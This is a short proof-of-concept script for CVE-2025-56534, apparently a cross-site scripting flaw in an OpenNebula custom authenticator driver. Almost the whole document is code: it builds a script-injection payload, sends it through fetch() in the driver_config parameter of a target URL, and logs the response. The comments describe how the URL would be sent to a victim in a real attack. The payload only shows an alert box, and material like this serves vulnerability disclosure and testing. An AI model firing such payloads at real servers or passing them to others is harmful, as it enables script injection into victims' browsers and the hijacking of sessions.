PoC for CVE-2025-56534
Demonstrates payload injection into the custom authenticator driver
-->
<script>
// Example payload to execute JavaScript in victim's browser
var payload = '"><script>alert("CVE-2025-56534 - XSS Verified")</script>';
// Hypothetical vulnerable endpoint in the authenticator driver
var targetUrl = 'http://target-opennebula-server/auth/custom';
// Simulate sending a crafted request (e.g., via curl or reflected parameter)
// In a real attack, this URL would be sent to the victim
console.log('Injecting payload into: ' + targetUrl);
// If stored, the payload would be saved via a POST request
// If reflected, it would be part of the URL query parameter
fetch(targetUrl + '?driver_config=' + encodeURIComponent(payload))
.then(response => response.text())
.then(data => console.log(data));
